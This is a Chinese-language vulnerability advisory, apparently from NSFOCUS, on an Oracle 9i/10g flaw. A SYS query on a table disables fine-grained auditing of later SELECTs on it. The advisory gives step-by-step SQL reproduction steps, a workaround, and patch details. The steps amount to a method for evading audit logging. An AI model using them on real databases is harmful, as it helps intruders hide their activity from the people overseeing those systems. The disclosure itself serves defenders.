首页 -> 安全研究

安全研究

安全漏洞
Oracle 9i/10g数据库细粒度审计记录拒绝服务漏洞

发布日期:2005-05-08
更新日期:2005-05-08

受影响系统:
Oracle database server 9i
Oracle database server 10g
描述:
BUGTRAQ  ID: 13510

Oracle是一款大型商用数据库软件。

Oracle对于审记操作的访问逻辑实现上存在漏洞,攻击者可能利用来躲避审记。

如果SYS用户运行SELECT语句的话,就会禁用细粒度审计(FGA),不会审计SYS发布的SELECT语句。一旦SYS选择了表格的话,所有之后其他用户的SELECT都不会审计。这会导致FGA无法记录记录失效后的日志请求,误导数据库用户的安全理解。

<*来源:Alexander Kornbrust (ak@red-database-security.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111531683824209&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

1. 创建用户和对象,添加策略

connect /as sysdba
grant dba to fga identified by fga;
conn fga/fga
create table emp as select * from scott.emp;
execute dbms_fga.add_policy(object_schema=>'FGA',
object_name=>'EMP',policy_name=>'FGA_POLICY');

2. 以fga用户运行SQL

conn fga/fga
select count(*) from fga.emp;
select sql_text,to_char(timestamp,'HH24:MI:SS') time
from sys.dba_fga_audit_trail;

--> 返回1行

3. 以SYS用户运行SQL

conn /as sysdba
select count(*) from fga.emp;
select sql_text,to_char(timestamp,'HH24:MI:SS') time
from sys.dba_fga_audit_trail;

--> 返回第二步中得到的1行

没有插入新行

4. 再次以fga用户运行SQL

conn fga/fga
select count(*) from fga.emp;
select sql_text,to_char(timestamp,'HH24:MI:SS') time
from sys.dba_fga_audit_trail;

--> 返回第二步中得到的1行

仍未插入新行

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

*  不要以SYS用户运行FGA对象的SQL。刷新共享池或重启数据库以再次激活审计。

厂商补丁:

Oracle
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载10.1.0.4补丁集:

http://www.oracle.com

浏览次数:3178
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障